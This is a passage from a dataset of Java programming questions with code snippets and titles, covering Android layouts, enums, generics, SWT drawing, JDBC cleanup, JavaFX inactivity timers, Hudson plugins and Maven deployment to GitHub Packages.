nameList.add ( temp ) ; Log.i ( `` tag '' , `` name list at count is '' +nameList.get ( count ) ) ; Log.i ( `` tag '' , `` count value is `` +count ) ; // alert ( `` count at `` +count+ '' and array is '' +final_name_array [ count ] ) ; temp= '' '' ; count++ ; i=j-1 ; //alert ( `` name string of i is '' +name_string [ i ] ) ; break ; } } } } //***** parsing code for price count=0 ; // Log.i ( `` tag '' , name_string ) ; for ( int i=0 ; i < price_string1.length ; i++ ) { if ( price_string1 [ i ] == ' : ' ) { msg=price_string1 [ i ] ; Log.i ( `` tag '' , `` first time `` +msg+ '' found '' ) ; // alert ( `` first time `` +name_string1 [ i ] + '' found '' ) ; for ( int j=i+1 ; j < price_string1.length ; j++ ) { // alert ( `` in j loop , j at `` +name_string [ j ] ) ; if ( price_string1 [ j ] ! = ' : ' ) { // alert ( `` in temp if '' ) ; temp=temp+price_string1 [ j ] ; Log.i ( `` tag '' , `` now temp is '' +temp ) ; } else if ( price_string1 [ j ] == ' : ' ) { msg=price_string1 [ j ] ; Log.i ( `` tag '' , `` else satisfied `` +msg+ '' found '' ) ; Log.i ( `` tag '' , `` final name is `` +temp ) ; priceList.add ( temp ) ; Log.i ( `` tag '' , `` price list at count is `` +priceList.get ( count ) ) ; Log.i ( `` tag '' , `` count value is `` +count ) ; // alert ( `` count at `` +count+ '' and array is '' +final_name_array [ count ] ) ; temp= '' '' ; count++ ; i=j-1 ; //alert ( `` name string of i is '' +name_string [ i ] ) ; break ; } } } } //******* parsing code for longg count=0 ; for ( int i=0 ; i < time_string1.length ; i++ ) { if ( time_string1 [ i ] == ' : ' ) { msg=time_string1 [ i ] ; Log.i ( `` tag '' , `` first time `` +msg+ '' found '' ) ; // alert ( `` first time `` +name_string1 [ i ] + '' found '' ) ; for ( int j=i+1 ; j < time_string1.length ; j++ ) { // alert ( `` in j loop , j at `` +name_string [ j ] ) ; if ( time_string1 [ j ] ! = ' : ' ) { // alert ( `` in temp if '' ) ; temp=temp+time_string1 [ j ] ; Log.i ( `` tag '' , `` now temp is '' +temp ) ; } else if ( time_string1 [ j ] == ' : ' ) { msg=time_string1 [ j ] ; Log.i ( `` tag '' , `` else satisfied `` +msg+ '' found '' ) ; Log.i ( `` tag '' , `` final name is `` +temp ) ; timeList.add ( temp ) ; Log.i ( `` tag '' , `` time list at count is `` +timeList.get ( count ) ) ; Log.i ( `` tag '' , `` count value is `` +count ) ; // alert ( `` count at `` +count+ '' and array is '' +final_name_array [ count ] ) ; temp= '' '' ; count++ ; i=j-1 ; //alert ( `` name string of i is '' +name_string [ i ] ) ; break ; } } } } Log.i ( `` tag '' , `` ****************************** '' ) ; for ( String loop : nameList ) { Log.i ( `` tag '' , loop ) ; } for ( String loop : priceList ) { Log.i ( `` tag '' , loop ) ; } for ( String loop : timeList ) { Log.i ( `` tag '' , loop ) ; } } catch ( InterruptedException e ) { // TODO Auto-generated catch block e.printStackTrace ( ) ; } catch ( ExecutionException e ) { // TODO Auto-generated catch block e.printStackTrace ( ) ; } //ScrollView sv = new ScrollView ( this ) ; final View linearLayout = findViewById ( R.id.main_layout ) ; //LinearLayout layout = ( LinearLayout ) findViewById ( R.id.info ) ; ( ( LinearLayout ) linearLayout ) .setBackgroundResource ( R.drawable.bg ) ; //sv.addView ( linearLayout ) ; //this is what i have tried for ( int i=0 ; i < nameList.size ( ) ; i++ ) { TextView valueTV = new TextView ( this ) ; valueTV.setText ( `` : Dish Name : `` +nameList.get ( i ) + '' Dish price : `` +priceList.get ( i ) + '' Dish time : `` +timeList.get ( i ) + '' : '' ) ; TextView valueTV1 = new TextView ( this ) ; valueTV1.setText ( `` : '' +nameList.get ( i ) + '' : '' +priceList.get ( i ) + '' : '' +timeList.get ( i ) + '' : '' ) ; valueTV1.setVisibility ( View.GONE ) ; // sv.addView ( linearLayout ) ; chk=new CheckBox ( this ) ; chk.setId ( i ) ; chk.setText ( `` Order '' ) ; chk.setTextColor ( Color.BLACK ) ; Log.i ( `` tag '' , `` i is `` +i+ '' id assigned to chk box is '' +chk.getId ( ) ) ; EditText quantity = new EditText ( this ) ; quantity.setHint ( `` Quantity '' ) ; valueTV1.setLayoutParams ( new LayoutParams ( android.app.ActionBar.LayoutParams.WRAP_CONTENT , LayoutParams.WRAP_CONTENT ) ) ; ( ( LinearLayout ) linearLayout ) .addView ( valueTV ) ; ( ( LinearLayout ) linearLayout ) .addView ( valueTV1 ) ; ( ( LinearLayout ) linearLayout ) .addView ( chk ) ; ( ( LinearLayout ) linearLayout ) .addView ( quantity ) ; } final EditText specialInstruction = new EditText ( this ) ; final EditText tableNo = new EditText ( this ) ; Button myButton = new Button ( this ) ; TextView tv1 = new TextView ( this ) ; ( ( LinearLayout ) linearLayout ) .addView ( tv1 ) ; specialInstruction.setGravity ( Gravity.CENTER ) ; specialInstruction.setHint ( `` Special Instructions '' ) ; ( ( LinearLayout ) linearLayout ) .addView ( specialInstruction ) ; tableNo.setGravity ( Gravity.CENTER ) ; tableNo.setHint ( `` Table No '' ) ; ( ( LinearLayout ) linearLayout ) .addView ( tableNo ) ; myButton.setText ( `` Send Order '' ) ; ( ( LinearLayout ) linearLayout ) .addView ( myButton ) ; myButton.setOnClickListener ( new OnClickListener ( ) { @ SuppressLint ( `` ShowToast '' ) @ Override public void onClick ( View v ) { // TODO Auto-generated method stub boolean oneChecked = false ; v = null ; Intent intent = getIntent ( ) ; String quant = null ; //String username = intent.getExtras ( ) .getString ( `` username '' ) ; //Log.i ( `` tag '' , `` username is '' +username ) ; Log.i ( `` tag '' , `` in Listener '' ) ; for ( int i=0 ; i < = ( nameList.size ( ) *4 ) -1 ; i++ ) { Log.i ( `` tag '' , `` in loop '' ) ; //Log.i ( `` tag '' , `` in loop i is , `` +i+ '' nameList size is `` +nameList.size ( ) ) ; v = ( ( LinearLayout ) linearLayout ) .getChildAt ( i ) ; if ( v instanceof CheckBox ) { if ( ( ( CheckBox ) v ) .isChecked ( ) ) { oneChecked = true ; if ( oneChecked ) { Log.i ( `` tag '' , `` in checkbox '' ) ; Log.i ( `` tag '' , `` check box at `` +i+ '' is checked '' ) ; View v1 ; v1 = ( ( LinearLayout ) linearLayout ) .getChildAt ( i-1 ) ; View v2 ; v2 = ( ( LinearLayout ) linearLayout ) .getChildAt ( i+1 ) ; String quantity= '' '' ; if ( v1 instanceof TextView ) { int id=v1.getId ( ) ; Log.i ( `` tag '' , '' ids are '' +id ) ; text= ( ( TextView ) v1 ) .getText ( ) .toString ( ) ; Log.i ( `` tag '' , `` in tv if '' +text ) ; if ( v2 instanceof EditText ) { Log.i ( `` tag '' , `` in et if '' ) ; quant= ( ( EditText ) v2 ) .getText ( ) .toString ( ) ; Log.i ( `` tag '' , `` quant is '' +quant ) ; Log.i ( `` tag '' , `` text right now '' +text ) ; quantity= quant+ '' : '' ; } text=text+quantity ; Log.i ( `` tag '' , `` values are `` +text ) ; orderList.add ( text ) ; } } oneChecked=false ; } } } Log.i ( `` tag '' , `` final order List is `` ) ; for ( String loop : orderList ) { Log.i ( `` tag '' , loop ) ; } String def=orderList.toString ( ) ; String sInst= '' '' ; Log.i ( `` tag '' , `` List is `` +def ) ; SendOrderAsyncTask runner1 = new SendOrderAsyncTask ( ) ; String inst=specialInstruction.getText ( ) .toString ( ) ; Log.i ( `` tag '' , `` inst is `` +inst ) ; String TableNo = tableNo.getText ( ) .toString ( ) ; if ( inst.equals ( `` '' ) ) { Log.i ( `` tag '' , `` inst is null `` ) ; asyncTaskorder=runner1.execute ( def , wname , sInst , TableNo ) ; } else if ( ! ( inst.equals ( `` '' ) ) ) { Log.i ( `` tag '' , `` inst does not contain null '' ) ; sInst = specialInstruction.getText ( ) .toString ( ) ; Log.i ( `` tag '' , `` in else `` +sInst ) ; asyncTaskorder=runner1.execute ( def , wname , sInst , TableNo ) ; } Log.i ( `` tag '' , `` spe inst is `` +sInst ) ; // orderList = null ; Intent i = new Intent ( order.this , order.class ) ; startActivity ( i ) ; finish ( ) ; String asyncResultText = null ; try { asyncResultText = asyncTaskorder.get ( ) ; Log.i ( `` tag '' , `` List in try is `` +def ) ; } catch ( InterruptedException e ) { // TODO Auto-generated catch block e.printStackTrace ( ) ; } catch ( ExecutionException e ) { // TODO Auto-generated catch block e.printStackTrace ( ) ; } response = asyncResultText.trim ( ) ; Log.i ( `` tag '' , `` response is `` +response ) ; if ( response.equals ( `` inservertrue '' ) ) { Log.i ( `` tag '' , `` order sent '' ) ; } } } ) ; } @ Overridepublic boolean onCreateOptionsMenu ( Menu menu ) { // Inflate the menu ; this adds items to the action bar if it is present . getMenuInflater ( ) .inflate ( R.menu.login , menu ) ; return true ; } @ Overridepublic boolean onOptionsItemSelected ( MenuItem item ) { // Handle action bar item clicks here . The action bar will // automatically handle clicks on the Home/Up button , so long // as you specify a parent activity in AndroidManifest.xml . int id = item.getItemId ( ) ; if ( id == R.id.action_settings ) { return true ; } return super.onOptionsItemSelected ( item ) ; } } < ? xml version= '' 1.0 '' encoding= '' utf-8 '' ? > < LinearLayoutxmlns : android= '' http : //schemas.android.com/apk/res/android '' android : layout_width= '' wrap_content '' android : id= '' @ +id/main_layout '' android : layout_height= '' wrap_content '' android : orientation= '' vertical '' > < /LinearLayout >",Adding scroll view to linear layout dynamically +Java,"Access to static fields in enum constructor is forbidden by the compiler . The source code below works , it uses a static field : Output : Count : 2.But the code below does not work despite there being very little difference : From my search , people usually claim that the problem is due to the order in which static fields are initialized . But first example works , so why do Java developers forbid the second example ? It should also work .","public enum TrickyEnum { TrickyEnum1 , TrickyEnum2 ; static int count ; TrickyEnum ( ) { incrementCount ( ) ; } private static void incrementCount ( ) { count++ ; } public static void main ( String ... args ) { System.out.println ( `` Count : `` + count ) ; } } public enum TrickyEnum { TrickyEnum1 , TrickyEnum2 ; static int count ; TrickyEnum ( ) { count++ ; //compiler error } public static void main ( String ... args ) { System.out.println ( `` Count : `` + count ) ; } }",Enum and static variable in constructor +Java,I know T gets to be of the type that is passed in the parameter.But here there are two types.Which one of them is T ? and why the compiler does n't force me to have the parameters of same type when I call foo ?,"public static < T > T foo ( T x , T x2 ) { return ( T ) ( x + `` `` + x2 ) ; } public static void main ( String args [ ] ) { System.out.println ( foo ( 33 , `` 232 '' ) ) ; }",Why does this generic code in java compile ? +Java,"I 've got a question about calculating Big O running times for a series of loops , that are nested in an outer for loop.For example : The outer loop is a constant , so I think that is ignored . Is it then as easy as doing the following calculation ? N + N-2 + N + N-22N + 2 ( N-2 ) 4N - 4O ( 4N - 4 ) O ( 4N ) - after removing the -4 constantIs this correct ? Thanks .","for ( 50,000 times ) { for ( n times ) { //Do something } for ( n-2 times ) { //Do something } for ( n times ) { //Do something } for ( n-2 times ) { //Do something } }",Big O for a nested series of for loops +Java,"I 'm attempting to draw a transparent mask of combined shapes over the top of an already in place image . I have provided an example of the techniques I 'm trying via the dialog code included in this post . Here 's a screenshot of what it produces . Example 1 ( top left ) highlights the problem I want to solve , I wish to have the 2 circles Or any intersecting shapes/arcs , all draw together with the same level of alpha , ie without the compounding opaqueness caused by drawing over the top of each other.Example 3 ( bottom left ) is my attempt to resolve the issue by creating a separate image with solid shapes on , then making that entire image transparent , what happens i think is that using this technique makes an image where the White is treated as the transparent colour , so the edge of the circle is blended with white so that when you draw it on it causes a `` halo '' effect around the shape.Example 2 ( top left ) highlights this issue further by drawing the circles in the image as transparent too , so you can see the more pink colour caused by the highlight . My question is , without any knowledge of the background colour , and without turning anti-aliasing off , how can I achieve the effect I am trying for ? Is there a way , because all my research is coming up blank ? Maybe I need to use a different image drawing solution and port back to SWT ? I know it 's capable of drawing Transparent images if loaded directly from a file so I know it can hold this sort of data , but how do I create it ?","import org.eclipse.jface.dialogs.Dialog ; import org.eclipse.swt.SWT ; import org.eclipse.swt.events.PaintEvent ; import org.eclipse.swt.events.PaintListener ; import org.eclipse.swt.graphics.Color ; import org.eclipse.swt.graphics.GC ; import org.eclipse.swt.graphics.Image ; import org.eclipse.swt.graphics.ImageData ; import org.eclipse.swt.graphics.Point ; import org.eclipse.swt.graphics.RGB ; import org.eclipse.swt.layout.GridData ; import org.eclipse.swt.layout.GridLayout ; import org.eclipse.swt.widgets.Canvas ; import org.eclipse.swt.widgets.Composite ; import org.eclipse.swt.widgets.Control ; import org.eclipse.swt.widgets.Display ; import org.eclipse.swt.widgets.Shell ; public class FMLDialog extends Dialog { private Color red ; private Color blue ; public FMLDialog ( Shell parentShell ) { super ( parentShell ) ; } @ Override protected void configureShell ( Shell shell ) { red = new Color ( shell.getDisplay ( ) , new RGB ( 255,0,0 ) ) ; blue = new Color ( shell.getDisplay ( ) , new RGB ( 0,100,255 ) ) ; super.configureShell ( shell ) ; shell.setSize ( new Point ( 450,550 ) ) ; shell.setText ( `` FML '' ) ; } @ Override public Control createDialogArea ( final Composite comp ) { Composite content = ( Composite ) super.createDialogArea ( comp ) ; Composite parent = new Composite ( content , SWT.NONE ) ; GridLayout gridLayout2 = new GridLayout ( 1 , false ) ; parent.setLayout ( gridLayout2 ) ; parent.setLayoutData ( new GridData ( SWT.FILL , SWT.FILL , true , true ) ) ; final Canvas c = new Canvas ( parent , SWT.BORDER ) ; c.setLayoutData ( new GridData ( SWT.FILL , SWT.FILL , true , true ) ) ; c.addPaintListener ( new PaintListener ( ) { @ Override public void paintControl ( PaintEvent e ) { e.gc.setAntialias ( SWT.ON ) ; drawFirstLayer ( e.gc , 0 , 0 ) ; drawFirstLayer ( e.gc , 210 , 0 ) ; drawFirstLayer ( e.gc , 210 , 210 ) ; drawFirstLayer ( e.gc , 0 , 210 ) ; drawSecondLayerTake1 ( e.gc , 0 , 0 ) ; drawSecondLayerTake2 ( e.gc , 210 , 0 ) ; drawSecondLayerTake3 ( e.gc , 0 , 210 ) ; drawSecondLayerTake4 ( e.gc , 210 , 210 ) ; } } ) ; return content ; } private void drawFirstLayer ( GC gc , int x , int y ) { gc.setBackground ( blue ) ; gc.fillOval ( x , y , 200 , 200 ) ; } private void drawSecondLayerTake1 ( GC gc , int x , int y ) { // Simply draw 2 transparent circles // Issue here is the overlap between circles where the Alpha layers up gc.setAlpha ( 100 ) ; gc.setBackground ( red ) ; gc.fillOval ( x + 70 , y + 70 , 60 , 60 ) ; gc.fillOval ( x + 100 , y + 100 , 60 , 60 ) ; gc.setAlpha ( 255 ) ; } private void drawSecondLayerTake2 ( GC gc , int x , int y ) { // Create an image with 2 transparent circles // Issue here is the overlap between circles where the Alpha layers up from the first // PLUS becasue my transparent colour is fixed to white the alpa on the circles is blended in to the white final Image src = new Image ( null , 300 , 300 ) ; final ImageData imageData = src.getImageData ( ) ; imageData.transparentPixel = imageData.getPixel ( 0 , 0 ) ; src.dispose ( ) ; final Image processedImage = new Image ( Display.getCurrent ( ) , imageData ) ; final GC imageGC = new GC ( processedImage ) ; imageGC.setAntialias ( SWT.ON ) ; imageGC.setAlpha ( 100 ) ; imageGC.setBackground ( red ) ; imageGC.fillOval ( 70 , 70 , 60 , 60 ) ; imageGC.fillOval ( 100 , 100 , 60 , 60 ) ; imageGC.dispose ( ) ; gc.drawImage ( processedImage , x + 0 , y + 0 ) ; } private void drawSecondLayerTake3 ( GC gc , int x , int y ) { // Create an image with 2 solid circles , then draw that image on to the canvas with Alpha values . // Overlap issue goes away because the whole image is being made transparent together HOWEVER // there is a Halo effect around the edge of the red where the original circles were antialiased to blend into the `` white '' // background . final Image src = new Image ( null , 300 , 300 ) ; final ImageData imageData = src.getImageData ( ) ; imageData.transparentPixel = imageData.getPixel ( 0 , 0 ) ; src.dispose ( ) ; final Image processedImage = new Image ( Display.getCurrent ( ) , imageData ) ; final GC imageGC = new GC ( processedImage ) ; imageGC.setAntialias ( SWT.ON ) ; imageGC.setBackground ( red ) ; imageGC.fillOval ( 70 , 70 , 60 , 60 ) ; imageGC.fillOval ( 100 , 100 , 60 , 60 ) ; imageGC.dispose ( ) ; gc.setAlpha ( 100 ) ; gc.drawImage ( processedImage , x + 0 , y + 0 ) ; } private void drawSecondLayerTake4 ( GC gc , int x , int y ) { // I need this one to draw like take 3 but without the white `` halo '' effect on the edge // How ? ! } public static void main ( String [ ] args ) { Display d = new Display ( ) ; Shell s = new Shell ( ) ; FMLDialog fml = new FMLDialog ( s ) ; fml.open ( ) ; } }",Drawing a dynamic transparent image over another Image using SWT Graphics +Java,"It is strongly suggested to close JDBC objects ( connections , statements , result sets ) when done using them . However , that produces loads of code like that : Now I thought about reducing the amount of ( repeating ) code for closing the objects by implementing a helper function . It takes the objects as arguments and tries to invoke the method close ( ) of each object ( if the object does have such a method ) , using reflection.The finally block can be reduced to this : Is that a good thing to do ? If no , what are the reasons ? Is there a `` better '' way ?","Connection conn = null ; Statement stm = null ; ResultSet res = null ; try { // Obtain connection / statement , get results , whatever ... } catch ( SQLException e ) { // ... } finally { if ( res ! = null ) { try { res.close ( ) ; } catch ( SQLException ignore ) { } } if ( stm ! = null ) { try { stm.close ( ) ; } catch ( SQLException ignore ) { } } if ( conn ! = null ) { try { conn.close ( ) ; } catch ( SQLException ignore ) { } } } public void close ( Object ... objects ) { for ( Object object : objects ) { for ( Method method : object.getClass ( ) .getMethods ( ) ) { if ( method.getName ( ) .equals ( `` close '' ) ) { try { method.invoke ( object ) ; } catch ( Exception e ) { e.printStackTrace ( ) ; } break ; // break on the methods , go for the next object } } } } } finally { close ( res , stm , conn ) ; }",Generic helper for closing JDBC objects +Java,"I 've come across a strange error message that I believe may be incorrect . Consider the following code : If I have a method that looks like this : The error we get makes perfect sense ; the parameter to load ( ) can be assigned to either , so we get an error that states the method call is ambiguous.Conversely , if I have a method that looks like this : The call to load ( ) is fine , and as expected , I can not assign the method reference to both Supplier and Processor because it is not ambiguous : Overloaded : :notAmbiguous can not be assigned to p2.And now the weird one . If I have a method like this : The compiler complains that the call to load ( ) is ambiguous ( error : reference to load is ambiguous ) , but unlike Exhibit A , I can not assign the method reference to both Supplier and Processor . If it were truly ambiguous , I feel I should be able to assign s3 and p3 to both overloaded parameter types just as in Exhibit A , but I get an error on p3 stating that error : incompatible types : invalid method reference . This second error in Exhibit C makes sense , Overloaded : :strangelyAmbiguous is n't assignable to Processor , but if it is n't assignable , why is it still considered ambiguous ? It would seem that the method reference inference only looks at the arity of the FunctionalInterface when determining which overloaded version to select . In the variable assignment , arity and type of parameters are checked , which causes this discrepancy between the overloaded method and the variable assignment.This seems to me like a bug . If it is n't , at least the error message is incorrect , since there is arguably no ambiguity when between two choices only one is correct .","public class Overloaded { public interface Supplier { int get ( ) ; } public interface Processor { String process ( String s ) ; } public static void load ( Supplier s ) { } public static void load ( Processor p ) { } public static int genuinelyAmbiguous ( ) { return 4 ; } public static String genuinelyAmbiguous ( String s ) { return `` string '' ; } public static int notAmbiguous ( ) { return 4 ; } public static String notAmbiguous ( int x , int y ) { return `` string '' ; } public static int strangelyAmbiguous ( ) { return 4 ; } public static String strangelyAmbiguous ( int x ) { return `` string '' ; } } // Exhibit Apublic static void exhibitA ( ) { // Genuinely ambiguous : either choice is correct load ( Overloaded : :genuinelyAmbiguous ) ; // < -- ERROR Supplier s1 = Overloaded : :genuinelyAmbiguous ; Processor p1 = Overloaded : :genuinelyAmbiguous ; } // Exhibit Bpublic static void exhibitB ( ) { // Correctly infers the right overloaded method load ( Overloaded : :notAmbiguous ) ; Supplier s2 = Overloaded : :notAmbiguous ; Processor p2 = Overloaded : :notAmbiguous ; // < -- ERROR } // Exhibit Cpublic static void exhibitC ( ) { // Complains that the reference is ambiguous load ( Overloaded : :strangelyAmbiguous ) ; // < -- ERROR Supplier s3 = Overloaded : :strangelyAmbiguous ; Processor p3 = Overloaded : :strangelyAmbiguous ; // < -- ERROR }",Why is this Java method call considered ambiguous ? +Java,"I 'm Java EE webapp developer ( spring , hibernate , jsf , primefaces ) and I found the issue with primefaces component DataTable . The issue concerns column sorting , particularly sorting of words with special characters.In my language ( Czech ) we use characters like ( č , ř , ž etc . ) and words starting with these characters are sorted at the end of the table . And this is the problem . They should be sorted after appropriate letter , e.g . `` č '' should be after `` c '' , `` ř '' should be after `` r '' etc . and not after all records without special characters.I 'm already using the CharacterEncoding filter provided by Spring Framework which should force the charset ( UTF-8 ) to every request and response . But it does n't solve the issue . Here is the configuration of the filter : Is there a way to correct this behaviour ?",< filter > < filter-name > charEncodingFilter < /filter-name > < filter-class > org.springframework.web.filter.CharacterEncodingFilter < /filter-class > < init-param > < param-name > encoding < /param-name > < param-value > UTF-8 < /param-value > < /init-param > < init-param > < param-name > forceEncoding < /param-name > < param-value > true < /param-value > < /init-param > < /filter >,Primefaces DataTable not sorting properly +Java,Why is it possible to return a private nested class from a public method in a public class ? Should n't the compiler complain about the return type 's visibility being less than the method ?,public final class Outer { private static final class Configurator { private Configurator ( ) { } } public static Configurator configure ( ) { return new Configurator ( ) ; } },How can a public method return a private type ? +Java,"The guava-libraries have a class Ordering . I 'm wondering if it 's thread safe.For example , can it be used as a static variable ?","public static Ordering < String > BY_LENGTH_ORDERING = new Ordering < String > ( ) { public int compare ( String left , String right ) { return Ints.compare ( left.length ( ) , right.length ( ) ) ; } } ;",guava-libraries - Is the Ordering class thread safe ? +Java,"Let me , please , ask for an explanation.Inside the method doit ( ) I can intantiate the generic nested class In < T > I can , of course , also reach any members of the class In < T > I can still reach members of the class In < T > from the method doit ( ) when both class and method are nested inside another class ContainerHowever , making A generic , as in the compiler excepts an error : `` The member type A.Container.In must be parameterized , since it is qualified with a parameterized type '' Could you , please , give me an explanation ? Notice that in the previous code classes and method are static.Notice also that making generic the class Container , as inThe code compiles.And compiles also the following code where Container is no longer generic but the call of the constructor of the class Inner < U > is now the more qualified Container.In.Inner < X > ( ) Thank you .",public class A { public static class In < T > { } public static < X > void doit ( ) { new In < X > ( ) ; } } public class A { public static class In < T > { public static class Inner < U > { } } public static < X > void doit ( ) { new In.Inner < X > ( ) ; } } public class A { public static class Container { public static class In < T > { public static class Inner < U > { } } public static < X > void doit ( ) { new In.Inner < X > ( ) ; } } } public class A < V > { public static class Container { public static class In < T > { public static class Inner < U > { } } public static < X > void doit ( ) { new In.Inner < X > ( ) ; } } } public class A < V > { public static class Container < Z > { public static class In < T > { public static class Inner < U > { } } public static < X > void doit ( ) { new In.Inner < X > ( ) ; } } } public class A < V > { public static class Container { public static class In < T > { public static class Inner < U > { } } public static < X > void doit ( ) { new Container.In.Inner < X > ( ) ; } } },Nested Generics in Java +Java,"Consider the following simple code that prints `` Hi world '' forever : Here is the output : Is there a way to devise an external third program , which watches this program to notice when we kill it ( like with CTRL+C in command line ) ; and then this `` parent '' program resumes the `` Hello World '' running ? I think it might look something like this : So my question is - how can I simulate code like this , which has this kind of fail-safe ability ? Is there an way to do this ? thanks ! EDIT : I found a neat link here which is relevant but addresses something a little different- How can I restart a Java application ?",public class WakeMeUpSomehow { public static void main ( String [ ] args ) { while ( true ) { try { System.out.println ( `` Hi world `` ) ; Thread.sleep ( 1000 ) ; //1000 milliseconds is one second . } catch ( InterruptedException ex ) { Thread.currentThread ( ) .interrupt ( ) ; } } } },Is there a way to dynamically restart a HelloWorld Java program which loops print outputs ? +Java,"I am getting NullPointerException from the below line sometimes . After adding brackets , it is fine . Please clarify me the behavior . Thanks in advance .",System.out.println ( `` Date : : '' + row ! = null ? row.getLegMaturityDate ( ) : `` null '' ) ; System.out.println ( `` Date : : '' + ( row ! = null ? row.getLegMaturityDate ( ) : `` null '' ) ) ;,Ternary Operator and unexpected NullPointerException +Java,I want to close my JavaFX application if the user is inactive for a period of time . I have this code in Swing and I want to do the same in JavaFX . This class redirect the user to the login panel if no event happens during the time indicated .,"import javax.swing.Timer ; public class AutoClose { private Timer timer ; public AutoClose ( JFrame centralpanel ) { EventQueue.invokeLater ( new Runnable ( ) { @ Override public void run ( ) { Toolkit.getDefaultToolkit ( ) .addAWTEventListener ( new AWTEventListener ( ) { @ Override public void eventDispatched ( AWTEvent event ) { Object source = event.getSource ( ) ; if ( source instanceof Component ) { Component comp = ( Component ) source ; Window win = null ; if ( comp instanceof Window ) { win = ( Window ) comp ; } else { win = SwingUtilities.windowForComponent ( comp ) ; } if ( win == centralpanel ) { timer.restart ( ) ; } } } } , AWTEvent.KEY_EVENT_MASK | AWTEvent.MOUSE_EVENT_MASK | AWTEvent.MOUSE_MOTION_EVENT_MASK | AWTEvent.MOUSE_WHEEL_EVENT_MASK ) ; timer = new Timer ( 3600000 , new ActionListener ( ) { @ Override public void actionPerformed ( ActionEvent e ) { centralpanel.dispose ( ) ; //Redirect to the login panel . Login login = new Login ( ) ; login.setVisible ( true ) ; timer.stop ( ) ; JOptionPane.showMessageDialog ( null , '' Connection closed due to inactivity '' ) ; } } ) ; timer.start ( ) ; } } ) ; } }",Auto close JavaFX application due to innactivity +Java,"I 'm in a somewhat old Hudson configuration . We have an in house developed plugin that query a Nexus repository and set some job parameters . The plugin is in Java.We also use the depreacated SetEnv Plugin , where we set a bunch of environment variables . Our plugin , basically extends the ParameterDefinition class to give a bunch of options in the build job screen , then a ParameterValue class set environment variables for our jobs . Our Parameter Definition classe : Is it possible to access the environment variables defined in the SetEnv plugin from our Parameter Definition class ? The problem that I 'm at definition time of a a parametrized build , that is the screen between when I press the button `` build now '' and when I press the button `` Build '' to start the process . At this point I do n't know how to access the job instance object and I believe the build object just will be created when the form is submitted.These environment variables are persisted in the config.xml , so if I can read this file I can parse the values .",class NexusQueryParameterDefinition extends ParameterDefinition,Hudson/Jenkins Plugin development : how to get environment variables of other plugin +Java,"I have a Java class with a generic type P. I want to document it in Javadoc . Normally I just do this : This shows up fine in actual Javadoc . However , CheckStyle is warning me that I need to document the type P because it renders < P > as a HTML paragraph . Also , the Eclipse formatter interprets it as a paragraph as well , so it messes up the formatting.Is there a better way of documenting type parameters with type P ? I know I can disable the Eclipse formatter to no longer auto format javadoc , but I 'd rather not ( and it would n't solve the checkstyle problem anyway ) .I also know I can just rename P to something else , but given the number of generic types I am working with here , it would make things a lot less readable .",/** * ... * @ param < P > the type of publisher */,Generic type < P > converted to paragraph tag in Javadoc +Java,We are using server configuration in yml file which looks like as belowI want to get `` applicationContextPath '' when I start my dropwizard service.I am trying to get it using but I am getting `` / '' i.e . default value . Is there anyway to get this .,server : type : simpleconnector : type : http port : 8061applicationContextPath : /administrationadminContextPath : /admin # disable the registration of default Jersey ExceptionMappersregisterDefaultExceptionMappers : false environment.getApplicationContext ( ) .getContextPath ( ) ;,How to get applicationContextPath in dropwizard 1.0.0 +Java,What I am trying to achieve with the above code is to get the list of departments on the MIT OpencourseWare website . I am using a regular expression that matches the pattern of the department names as in the page source . And I am using a Pattern object and a Matcher object and trying to find ( ) and print these department names that match the regular expression . But the code is taking forever to run and I do n't think reading in a webpage using bufferedReader takes that long . So I think I am either doing something horribly wrong or parsing websites takes a ridiculously long time . so I would appreciate any input on how to improve performance or correct a mistake in my code if any . I apologize for the badly written code .,"public class Parser { public static void main ( String [ ] args ) { Parser p = new Parser ( ) ; p.matchString ( ) ; } parserObject courseObject = new parserObject ( ) ; ArrayList < parserObject > courseObjects = new ArrayList < parserObject > ( ) ; ArrayList < String > courseNames = new ArrayList < String > ( ) ; String theWebPage = `` `` ; { try { URL theUrl = new URL ( `` http : //ocw.mit.edu/courses/ '' ) ; BufferedReader reader = new BufferedReader ( new InputStreamReader ( theUrl.openStream ( ) ) ) ; String str = null ; while ( ( str = reader.readLine ( ) ) ! = null ) { theWebPage = theWebPage + `` `` + str ; } reader.close ( ) ; } catch ( MalformedURLException e ) { // do nothing } catch ( IOException e ) { // do nothing } } public void matchString ( ) { // this is my regex that I am using to compare strings on input page String matchRegex = `` # \\w+ ( -\\w+ ) + '' ; Pattern p = Pattern.compile ( matchRegex ) ; Matcher m = p.matcher ( theWebPage ) ; int i = 0 ; while ( ! m.hitEnd ( ) ) { try { System.out.println ( m.group ( ) ) ; courseNames.add ( i , m.group ( ) ) ; i++ ; } catch ( IllegalStateException e ) { // do nothing } } } }",Why is website crawling taking forever ? +Java,"Consider I have a maven plugin project and I want to publish it to Github 's public maven repository called `` Github Packages '' . I 've done everything by instruction and for normal projects everything works fine out of the box . But for maven plugin projects with packaging=maven-plugin the instruction does n't work . In build log I see something like this : [ WARNING ] Could not transfer metadata repo-name/maven-metadata.xml from/to github ( https : //maven.pkg.github.com/user-name/repo-name ) : Failed to transfer file : https : //maven.pkg.github.com/user-name/repo-name/group-id/maven-metadata.xml . Return code is : 422 , ReasonPhrase : Unprocessable Entity.It seems the maven deploy plugin needs maven-metadata.xml in the group-id 's root , but ca n't find it and no one puts it there . How to solve this problem ? I use Apache Maven 3.3.9 , and use the command : -- Addition : example of pom file I 'm using :",mvn clean deploy < ? xml version= '' 1.0 '' encoding= '' UTF-8 '' ? > < project xmlns= '' http : //maven.apache.org/POM/4.0.0 '' xmlns : xsi= '' http : //www.w3.org/2001/XMLSchema-instance '' xsi : schemaLocation= '' http : //maven.apache.org/POM/4.0.0 http : //maven.apache.org/xsd/maven-4.0.0.xsd '' > < modelVersion > 4.0.0 < /modelVersion > < repositories > < repository > < id > central < /id > < url > https : //repo1.maven.org/maven2 < /url > < releases > < enabled > true < /enabled > < /releases > < snapshots > < enabled > true < /enabled > < /snapshots > < /repository > < repository > < id > github < /id > < name > GitHub my_repo Apache Maven Packages < /name > < url > https : //maven.pkg.github.com/my_nick/my_repo < /url > < /repository > < /repositories > < version > 1.0.0 < /version > < groupId > x < /groupId > < artifactId > some-plugin < /artifactId > < packaging > maven-plugin < /packaging > < dependencies > < dependency > < groupId > x < /groupId > < artifactId > my-dependency < /artifactId > < version > 1.0.0 < /version > < /dependency > < dependency > < groupId > com.github.javaparser < /groupId > < artifactId > javaparser-core < /artifactId > < version > 3.15.12 < /version > < /dependency > < dependency > < groupId > org.apache.maven.plugin-tools < /groupId > < artifactId > 